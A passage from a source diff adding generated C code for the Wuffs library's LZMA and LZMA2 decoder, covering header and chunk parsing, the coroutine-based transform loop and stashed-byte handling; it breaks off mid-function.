++ if (self->private_impl.f_dict_size == 0u) { ++ return wuffs_base__utility__make_range_ii_u64(0u, 0u); ++ } ++ v_m = (((uint64_t)(self->private_impl.f_dict_size)) + 273u); ++ return wuffs_base__utility__make_range_ii_u64(v_m, v_m); ++} ++ ++// -------- func lzma.decoder.transform_io ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_lzma__decoder__transform_io( ++ wuffs_lzma__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_dst || !a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 1)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint64_t v_mark = 0; ++ wuffs_base__status v_dti_status = wuffs_base__make_status(NULL); ++ wuffs_base__status v_ah_status = wuffs_base__make_status(NULL); ++ ++ uint8_t* iop_a_dst = NULL; ++ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_dst && a_dst->data.ptr) { ++ io0_a_dst = a_dst->data.ptr; ++ io1_a_dst = io0_a_dst + a_dst->meta.wi; ++ iop_a_dst = io1_a_dst; ++ io2_a_dst = io0_a_dst + a_dst->data.len; ++ if (a_dst->meta.closed) { ++ io2_a_dst = iop_a_dst; ++ } ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_transform_io; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ v_mark = ((uint64_t)(iop_a_dst - io0_a_dst)); ++ { ++ if (a_dst) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ wuffs_base__status t_0 = wuffs_lzma__decoder__do_transform_io(self, a_dst, a_src, a_workbuf); ++ v_dti_status = t_0; ++ if (a_dst) { ++ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; ++ } ++ } ++ if ( ! wuffs_base__status__is_suspension(&v_dti_status)) { ++ status = v_dti_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; ++ } ++ goto ok; ++ } else if ((v_dti_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_lzma__error__truncated_input); ++ goto exit; ++ } ++ v_ah_status = wuffs_lzma__decoder__add_history(self, wuffs_private_impl__io__since(v_mark, ((uint64_t)(iop_a_dst - io0_a_dst)), io0_a_dst), a_workbuf); ++ if (wuffs_base__status__is_error(&v_ah_status)) { ++ status = v_ah_status; ++ goto exit; ++ } ++ status = v_dti_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ ++ ok: ++ self->private_impl.p_transform_io = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_transform_io = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; ++ ++ goto exit; ++ exit: ++ if (a_dst && a_dst->data.ptr) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// -------- func lzma.decoder.do_transform_io ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_lzma__decoder__do_transform_io( ++ wuffs_lzma__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_header_byte = 0; ++ uint8_t v_c8 = 0; ++ uint32_t v_c32 = 0; ++ uint8_t v_prop_byte = 0; ++ uint32_t v_lc = 0; ++ uint32_t v_lp = 0; ++ uint32_t v_pb = 0; ++ uint32_t v_length = 0; ++ uint32_t v_n_copied = 0; ++ uint64_t v_smark = 0; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ uint8_t* iop_a_dst = NULL; ++ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_dst && a_dst->data.ptr) { ++ io0_a_dst = a_dst->data.ptr; ++ io1_a_dst = io0_a_dst + a_dst->meta.wi; ++ iop_a_dst = io1_a_dst; ++ io2_a_dst = io0_a_dst + a_dst->data.len; ++ if (a_dst->meta.closed) { ++ io2_a_dst = iop_a_dst; ++ } ++ } ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_do_transform_io; ++ if (coro_susp_point) { ++ v_header_byte = self->private_data.s_do_transform_io.v_header_byte; ++ v_length = self->private_data.s_do_transform_io.v_length; ++ } ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ self->private_impl.f_lzma2_need_prob_reset = true; ++ self->private_impl.f_lzma2_need_properties = true; ++ self->private_impl.f_lzma2_need_dict_reset = true; ++ while (true) { ++ if ((self->private_impl.f_format_extension & 255u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_prop_byte = t_0; ++ } ++ if (v_prop_byte >= 225u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__bad_header); ++ goto exit; ++ } ++ v_lc = ((uint32_t)(((uint8_t)(v_prop_byte % 9u)))); ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_prop_byte /= 9u; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ v_lp = ((uint32_t)(((uint8_t)(v_prop_byte % 5u)))); ++ v_pb = ((uint32_t)(((uint8_t)(v_prop_byte / 5u)))); ++ if ((v_lc + v_lp) > 4u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__unsupported_properties); ++ goto exit; ++ } ++ self->private_impl.f_lc = wuffs_base__u32__min(v_lc, 4u); ++ self->private_impl.f_lp = v_lp; ++ self->private_impl.f_pb = v_pb; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ uint32_t t_1; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_1 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; ++ if (num_bits_1 == 24) { ++ t_1 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_1 += 8u; ++ *scratch |= ((uint64_t)(num_bits_1)) << 56; ++ } ++ } ++ v_c32 = t_1; ++ } ++ self->private_impl.f_dict_size = wuffs_base__u32__max(v_c32, 4096u); ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ uint64_t t_2; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 8)) { ++ t_2 = wuffs_base__peek_u64le__no_bounds_check(iop_a_src); ++ iop_a_src += 8; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_2 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_2; ++ if (num_bits_2 == 56) { ++ t_2 = ((uint64_t)(*scratch)); ++ break; ++ } ++ num_bits_2 += 8u; ++ *scratch |= ((uint64_t)(num_bits_2)) << 56; ++ } ++ } ++ self->private_impl.f_decoded_length = t_2; ++ } ++ if ((self->private_impl.f_decoded_length >= 9223372036854775808u) && (self->private_impl.f_decoded_length != 18446744073709551615u)) { ++ status = wuffs_base__make_status(wuffs_lzma__error__unsupported_decoded_length); ++ goto exit; ++ } ++ wuffs_lzma__decoder__initialize_probs(self); ++ } else if ((self->private_impl.f_format_extension & 255u) == 1u) { ++ self->private_impl.f_lc = 3u; ++ self->private_impl.f_lp = 0u; ++ self->private_impl.f_pb = 2u; ++ self->private_impl.f_decoded_length = 18446744073709551615u; ++ wuffs_lzma__decoder__initialize_probs(self); ++ } else { ++ while (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(6); ++ } ++ if (wuffs_base__peek_u8be__no_bounds_check(iop_a_src) == 0u) { ++ iop_a_src += 1u; ++ break; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_3 = *iop_a_src++; ++ v_header_byte = t_3; ++ } ++ if (v_header_byte < 128u) { ++ if (v_header_byte < 2u) { ++ self->private_impl.f_lzma2_need_prob_reset = true; ++ self->private_impl.f_lzma2_need_properties = true; ++ self->private_impl.f_lzma2_need_dict_reset = false; ++ wuffs_lzma__decoder__initialize_dict(self); ++ } else if ((v_header_byte > 2u) || self->private_impl.f_lzma2_need_dict_reset) { ++ status = wuffs_base__make_status(wuffs_lzma__error__bad_lzma2_header); ++ goto exit; ++ } ++ self->private_impl.f_prev_lzma2_chunk_was_uncompressed = true; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ uint32_t t_4; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_4 = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_4 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_4); ++ if (num_bits_4 == 8) { ++ t_4 = ((uint32_t)(*scratch >> 48)); ++ break; ++ } ++ num_bits_4 += 8u; ++ *scratch |= ((uint64_t)(num_bits_4)); ++ } ++ } ++ v_c32 = t_4; ++ } ++ v_length = (1u + v_c32); ++ while (true) { ++ v_n_copied = wuffs_private_impl__io_writer__limited_copy_u32_from_reader( ++ &iop_a_dst, io2_a_dst,v_length, &iop_a_src, io2_a_src); ++ wuffs_private_impl__u64__sat_add_indirect(&self->private_impl.f_stashed_pos, ((uint64_t)(v_n_copied))); ++ if (v_length <= v_n_copied) { ++ break; ++ } ++ v_length -= v_n_copied; ++ if (((uint64_t)(io2_a_dst - iop_a_dst)) == 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(10); ++ } else { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(11); ++ } ++ } ++ continue; ++ } ++ self->private_impl.f_decoded_length = ((uint64_t)(v_header_byte)); ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); ++ uint32_t t_5; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_5 = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(13); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_5 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_5); ++ if (num_bits_5 == 8) { ++ t_5 = ((uint32_t)(*scratch >> 48)); ++ break; ++ } ++ num_bits_5 += 8u; ++ *scratch |= ((uint64_t)(num_bits_5)); ++ } ++ } ++ v_c32 = t_5; ++ } ++ self->private_impl.f_decoded_length = (((self->private_impl.f_decoded_length & 31u) << 16u) + ((uint64_t)((1u + v_c32)))); ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(14); ++ uint32_t t_6; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_6 = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(15); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_6 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_6); ++ if (num_bits_6 == 8) { ++ t_6 = ((uint32_t)(*scratch >> 48)); ++ break; ++ } ++ num_bits_6 += 8u; ++ *scratch |= ((uint64_t)(num_bits_6)); ++ } ++ } ++ v_c32 = t_6; ++ } ++ self->private_impl.f_lzma2_encoded_length_want = ((uint64_t)((1u + v_c32))); ++ if (v_header_byte >= 160u) { ++ wuffs_lzma__decoder__initialize_probs(self); ++ self->private_impl.f_lzma2_need_prob_reset = false; ++ } ++ if (v_header_byte >= 192u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_7 = *iop_a_src++; ++ v_prop_byte = t_7; ++ } ++ if (v_prop_byte >= 225u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__bad_lzma2_header); ++ goto exit; ++ } ++ v_lc = ((uint32_t)(((uint8_t)(v_prop_byte % 9u)))); ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_prop_byte /= 9u; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ v_lp = ((uint32_t)(((uint8_t)(v_prop_byte % 5u)))); ++ v_pb = ((uint32_t)(((uint8_t)(v_prop_byte / 5u)))); ++ if ((v_lc + v_lp) > 4u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__bad_lzma2_header); ++ goto exit; ++ } ++ self->private_impl.f_lc = wuffs_base__u32__min(v_lc, 4u); ++ self->private_impl.f_lp = v_lp; ++ self->private_impl.f_pb = v_pb; ++ self->private_impl.f_lzma2_need_properties = false; ++ } ++ if (v_header_byte >= 224u) { ++ self->private_impl.f_lzma2_need_dict_reset = false; ++ wuffs_lzma__decoder__initialize_dict(self); ++ } else if (self->private_impl.f_prev_lzma2_chunk_was_uncompressed) { ++ if (a_dst) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(17); ++ status = wuffs_lzma__decoder__update_stashed_bytes(self, a_dst, a_workbuf); ++ if (a_dst) { ++ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ } ++ self->private_impl.f_prev_lzma2_chunk_was_uncompressed = false; ++ if (self->private_impl.f_lzma2_need_prob_reset || self->private_impl.f_lzma2_need_properties || self->private_impl.f_lzma2_need_dict_reset) { ++ status = wuffs_base__make_status(wuffs_lzma__error__bad_lzma2_header); ++ goto exit; ++ } ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(18); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_8 = *iop_a_src++; ++ v_c8 = t_8; ++ } ++ if ((v_c8 != 0u) && ! self->private_impl.f_allow_non_zero_initial_byte) { ++ status = wuffs_base__make_status(wuffs_lzma__error__bad_code); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(19); ++ uint32_t t_9; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_9 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(20); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_9 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_9); ++ if (num_bits_9 == 24) { ++ t_9 = ((uint32_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_9 += 8u; ++ *scratch |= ((uint64_t)(num_bits_9)); ++ } ++ } ++ self->private_impl.f_stashed_bits = t_9; ++ } ++ if (self->private_impl.f_stashed_bits == 4294967295u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__bad_code); ++ goto exit; ++ } ++ self->private_impl.f_stashed_range = 4294967295u; ++ self->private_impl.f_stashed_pos_end = wuffs_base__u64__sat_add(self->private_impl.f_stashed_pos, self->private_impl.f_decoded_length); ++ if ((self->private_impl.f_stashed_pos_end == 18446744073709551615u) && (self->private_impl.f_decoded_length != 18446744073709551615u)) { ++ status = wuffs_base__make_status(wuffs_lzma__error__unsupported_decoded_length); ++ goto exit; ++ } ++ self->private_impl.f_lzma2_encoded_length_have = 5u; ++ while (((uint64_t)(a_workbuf.len)) < (((uint64_t)(self->private_impl.f_dict_size)) + 273u)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_workbuf); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(21); ++ } ++ while (true) { ++ v_smark = ((uint64_t)(iop_a_src - io0_a_src)); ++ { ++ if (a_dst) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ wuffs_base__status t_10 = wuffs_lzma__decoder__decode_bitstream(self, a_dst, a_src, a_workbuf); ++ v_status = t_10; ++ if (a_dst) { ++ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; ++ } ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ } ++ wuffs_private_impl__u64__sat_add_indirect(&self->private_impl.f_lzma2_encoded_length_have, wuffs_private_impl__io__count_since(v_smark, ((uint64_t)(iop_a_src - io0_a_src)))); ++ if (wuffs_base__status__is_ok(&v_status)) { ++ break; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(22); ++ } ++ if (self->private_impl.f_decoded_length == 18446744073709551615u) { ++ if (self->private_impl.f_stashed_bits != 0u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__bad_bitstream_trailer); ++ goto exit; ++ } ++ } else if (self->private_impl.f_stashed_pos != self->private_impl.f_stashed_pos_end) { ++ status = wuffs_base__make_status(wuffs_lzma__error__bad_decoded_length); ++ goto exit; ++ } else if (self->private_impl.f_stashed_bits != 0u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(23); ++ status = wuffs_lzma__decoder__decode_optional_end_of_stream(self, a_src, a_workbuf); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ if (self->private_impl.f_stashed_bits != 0u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__bad_bitstream_trailer); ++ goto exit; ++ } ++ } ++ if ((self->private_impl.f_format_extension & 255u) < 2u) { ++ break; ++ } else if (self->private_impl.f_lzma2_encoded_length_have != self->private_impl.f_lzma2_encoded_length_want) { ++ status = wuffs_base__make_status(wuffs_lzma__error__bad_lzma2_header); ++ goto exit; ++ } ++ } ++ ++ ok: ++ self->private_impl.p_do_transform_io = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_transform_io = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_do_transform_io.v_header_byte = v_header_byte; ++ self->private_data.s_do_transform_io.v_length = v_length; ++ ++ goto exit; ++ exit: ++ if (a_dst && a_dst->data.ptr) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func lzma.decoder.decode_bitstream ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_lzma__decoder__decode_bitstream( ++ wuffs_lzma__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_bitstream; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ self->private_impl.f_end_of_chunk = false; ++ while (true) { ++ v_status = wuffs_lzma__decoder__decode_bitstream_fast(self, a_dst, a_src, a_workbuf); ++ if (wuffs_base__status__is_error(&v_status)) { ++ status = v_status; ++ goto exit; ++ } ++ if (self->private_impl.f_end_of_chunk) { ++ break; ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_lzma__decoder__decode_bitstream_slow(self, a_dst, a_src, a_workbuf); ++ if (status.repr) { ++ goto suspend; ++ } ++ if (self->private_impl.f_end_of_chunk) { ++ break; ++ } ++ } ++ ++ goto ok; ++ ok: ++ self->private_impl.p_decode_bitstream = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_bitstream = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ return status; ++} ++ ++// -------- func lzma.decoder.update_stashed_bytes ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_lzma__decoder__update_stashed_bytes( ++ wuffs_lzma__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__slice_u8 a_workbuf) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint32_t v_dist = 0; ++ uint32_t v_which = 0; ++ uint32_t v_adj_dist = 0; ++ uint64_t v_wb_index = 0; ++ ++ uint8_t* iop_a_dst = NULL; ++ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_dst && a_dst->data.ptr) { ++ io0_a_dst = a_dst->data.ptr; ++ io1_a_dst = io0_a_dst + a_dst->meta.wi; ++ iop_a_dst = io1_a_dst; ++ io2_a_dst = io0_a_dst + a_dst->data.len; ++ if (a_dst->meta.closed) { ++ io2_a_dst = iop_a_dst; ++ } ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_update_stashed_bytes; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ v_dist = 1u; ++ v_which = 0u; ++ while (v_which < 2u) { ++ if (((uint64_t)(v_dist)) <= ((uint64_t)(iop_a_dst - io0_a_dst))) { ++ wuffs_private_impl__io_writer__limited_copy_u32_from_history( ++ &iop_a_dst, io0_a_dst, io2_a_dst, 1u, v_dist); ++ if ( ! (iop_a_dst > io1_a_dst)) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_dictionary_state); ++ goto exit; ++ } ++ self->private_impl.f_stashed_bytes[v_which] = iop_a_dst[-1]; ++ iop_a_dst--; ++ } else { ++ v_adj_dist = ((uint32_t)((((uint64_t)(v_dist)) - ((uint64_t)(iop_a_dst - io0_a_dst))))); ++ v_wb_index = ((uint64_t)(((uint64_t)(self->private_impl.f_dict_workbuf_index)) - ((uint64_t)(v_adj_dist)))); ++ while (v_wb_index >= 9223372036854775808u) { ++ v_wb_index += ((uint64_t)(self->private_impl.f_dict_size)); ++ } ++ if (v_wb_index >= ((uint64_t)(a_workbuf.len))) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_dictionary_state); ++ goto exit; ++ } ++ self->private_impl.f_stashed_bytes[v_which] = a_workbuf.ptr[v_wb_index]; ++ } ++ v_dist = (1u + self->private_impl.f_stashed_rep0); ++ v_which += 1u; ++ } ++ ++ ok: ++ self->private_impl.p_update_stashed_bytes = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_update_stashed_bytes = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_dst && a_dst->data.ptr) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func lzma.decoder.decode_optional_end_of_stream ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_lzma__decoder__decode_optional_end_of_stream( ++ wuffs_lzma__decoder* self, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ wuffs_base__io_buffer u_w = wuffs_base__empty_io_buffer(); ++ wuffs_base__io_buffer* v_w = &u_w; ++ uint8_t* iop_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ 